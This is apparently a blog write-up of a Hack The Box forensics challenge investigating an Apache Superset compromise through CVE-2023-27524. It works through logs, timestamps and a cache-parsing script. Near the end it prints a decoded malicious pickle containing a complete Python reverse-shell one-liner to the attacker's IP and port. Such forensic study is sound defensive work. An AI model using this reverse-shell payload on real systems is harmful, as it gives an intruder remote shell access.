HTB-WhaleSecret

本文最后更新于 2026年8月3日 上午

What was the IP and port of the vulnerable server?

目录中发现:

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uac-superset-linux-20251101213209

看到:

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containers

Superset 是一个 Apache 服务, 默认端口:8088,查看正在运行的容器日志,最终定位到如下日志:

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\uac-superset-linux-20251101213209\live_response\containers\docker_container_logs_dee3f31ac261.txt
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192.168.194.128:8088

What was the name of the vulnerable software hosted on the system?

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Apache Superset

What was the IP of the malicious threat actor ?

发现这个 IP 从 GET /api/v1/database/1 开始进行爆破

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192.168.194.129

What CVE did the malicious actor exploit?

python-requests 自动化访问 /login/ 后变成 302,说明脚本已经拿到了有效会话,后面紧接着出现:

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GET /api/v1/database/1
PUT /api/v1/database/1
GET /superset/sqllab/
POST /superset/sql_json/
POST /api/v1/dashboard/1/permalink
GET /superset/dashboard/p/Px38M35XJNG/

说明攻击者获得了 Superset 登录态,再调用 Superset API 和 SQLLab / permalink 功能。

再看版本,superset2.0.0 版本

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CVE-2023-27524

What User-Agent did the malicious actor use while exploiting the vulnerability?

攻击日志为自动化脚本

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192.168.194.129 - - [01/Nov/2025:19:28:10 +0000] "GET /superset/sqllab/ HTTP/1.1" 200 28319 "-" "python-requests/2.26.0"

用的 python 自动化

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python-requests/2.26.0

At what time did the malicious actor first use the exploit?

真正攻击脚本开始时间为第一次开始使用脚本的时候

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2025-11-01 19:26:14

At what time was the first system command executed through the exploit?

从 ./sqllab_copy 目录读取缓存文件,解析后提取 SQL 语句

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import argparse
import datetime
import io
import os
import pickle
import re
import zlib

try:
import msgpack
except ImportError:
msgpack = None


class MsgpackReader:
def __init__(self, data):
self.data = data
self.offset = 0

def read(self, size):
value = self.data[self.offset : self.offset + size]
self.offset += size
return value

def read_int(self, size):
return int.from_bytes(self.read(size), "big")

def unpack(self):
marker = self.read(1)[0]

if marker <= 0x7F:
return marker

if 0x80 <= marker <= 0x8F:
return self.unpack_map(marker & 0x0F)

if 0x90 <= marker <= 0x9F:
return self.unpack_array(marker & 0x0F)

if 0xA0 <= marker <= 0xBF:
return self.read(marker & 0x1F).decode("utf-8", errors="replace")

if marker == 0xC0:
return None

if marker == 0xC2:
return False

if marker == 0xC3:
return True

if marker == 0xC4:
return self.read(self.read_int(1))

if marker == 0xC5:
return self.read(self.read_int(2))

if marker == 0xC6:
return self.read(self.read_int(4))

if marker == 0xCA:
return self.read(4)

if marker == 0xCB:
return self.read(8)

if marker == 0xCC:
return self.read_int(1)

if marker == 0xCD:
return self.read_int(2)

if marker == 0xCE:
return self.read_int(4)

if marker == 0xCF:
return self.read_int(8)

if marker == 0xD0:
return int.from_bytes(self.read(1), "big", signed=True)

if marker == 0xD1:
return int.from_bytes(self.read(2), "big", signed=True)

if marker == 0xD2:
return int.from_bytes(self.read(4), "big", signed=True)

if marker == 0xD3:
return int.from_bytes(self.read(8), "big", signed=True)

if marker == 0xD9:
return self.read(self.read_int(1)).decode("utf-8", errors="replace")

if marker == 0xDA:
return self.read(self.read_int(2)).decode("utf-8", errors="replace")

if marker == 0xDB:
return self.read(self.read_int(4)).decode("utf-8", errors="replace")

if marker == 0xDC:
return self.unpack_array(self.read_int(2))

if marker == 0xDD:
return self.unpack_array(self.read_int(4))

if marker == 0xDE:
return self.unpack_map(self.read_int(2))

if marker == 0xDF:
return self.unpack_map(self.read_int(4))

if marker >= 0xE0:
return marker - 0x100

raise ValueError(f"unsupported msgpack marker: 0x{marker:02x}")

def unpack_array(self, length):
return [self.unpack() for _ in range(length)]

def unpack_map(self, length):
result = {}
for _ in range(length):
key = self.unpack()
value = self.unpack()
result[key] = value
return result


def unpack_msgpack(raw):
if msgpack is not None:
return msgpack.unpackb(raw, raw=False)

return MsgpackReader(raw).unpack()


def timestamp_convert(timestamp):
if timestamp > 100000000000:
timestamp = timestamp / 1000

return datetime.datetime.fromtimestamp(timestamp).strftime("%Y-%m-%d %H:%M:%S")


def parse_file(path):
with open(path, "rb") as file:
data = file.read()

bio = io.BytesIO(data)

try:
timestamp = pickle.load(bio)
second = pickle.load(bio)
except Exception:
return None

if not isinstance(second, bytes):
return None

try:
raw = zlib.decompress(second)
except Exception:
raw = second

strings = [
item.decode("utf-8", errors="replace")
for item in re.findall(rb"[\x09\x0a\x0d\x20-\x7e]{2,}", raw)
]

changed_on = ""
for index, value in enumerate(strings):
if value in ("changedOn", "changed_on") and index + 1 < len(strings):
changed_on = strings[index + 1].replace("T", " ")
break

sql = ""

try:
obj = unpack_msgpack(raw)
if isinstance(obj, dict):
query = obj.get("query", {})
if isinstance(query, dict):
changed_on = (
query.get("changedOn", "")
or query.get("changed_on", "")
or changed_on
)
if changed_on:
changed_on = str(changed_on).replace("T", " ")
sql = query.get("sql", "") or query.get("executedSql", "")
except Exception:
sql = ""

if not sql:
for index, value in enumerate(strings):
if value == "executedSql" and index + 1 < len(strings):
sql = strings[index + 1]
break

if not sql:
for index, value in enumerate(strings):
if value == "sql" and index + 1 < len(strings):
sql = strings[index + 1]
break

sql = re.sub(
r"^[^A-Za-z]*(?=(SELECT|DROP|CREATE|COPY|UPDATE|INSERT|DELETE|WITH)\b)",
"",
sql,
flags=re.IGNORECASE,
)

if not sql:
return None

return {
"time": changed_on or timestamp_convert(timestamp),
"sql": sql,
}


def main():
parser = argparse.ArgumentParser(description="Extract Superset SQL Lab SQL cache")
parser.add_argument(
"-s",
"--src",
default="./sqllab_copy",
help="SQL Lab cache directory, default: ./sqllab_copy",
)
parser.add_argument(
"-o",
"--out",
default="sqllab_result.txt",
help="output txt file, default: sqllab_result.txt",
)
args = parser.parse_args()

with open(args.out, "w", encoding="utf-8") as output:
for filename in sorted(os.listdir(args.src)):
path = os.path.join(args.src, filename)
if not os.path.isfile(path):
continue

print("[+] Parsing:", filename)

result = parse_file(path)
if result is None:
continue

output.write("\n============================\n")
output.write("FILE: " + filename + "\n")
output.write("TIME: " + result["time"] + "\n")
output.write(result["sql"] + "\n")

print("[+] Done!")
print("[+] Output:", args.out)


if __name__ == "__main__":
main()

通过读取缓存文件发现 2025-11-01T19:27:30.222543 进行查询了 dbs 表中的三个字段:database_name、sqlalchemy_uri、password

后续进行了命令执行,执行命令的时间

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2025-11-01T19:27:41.681884

emm。。。这里答案需要四舍五入一下时间

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2025-11-01 19:27:42

What was the first system command executed through the exploit?

执行的命令

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ls /etc/passwd

Which port did the reverse shell connect to?

从 ./sqllab_copy 目录读取缓存文件解析出来 key 键值数据,以及时间 2025-11-01T19:28:38.703881,确实在命令执行之后进行的反弹 shell

厨子解密

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cposix
system
p0
(Vpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.194.129",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
p1
tp2
Rp3
.

得到端口 4242

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4242

HTB-WhaleSecret
http://example.com/2026/08/03/HTB-WhaleSecret/
作者
butt3rf1y
发布于
2026年8月3日
许可协议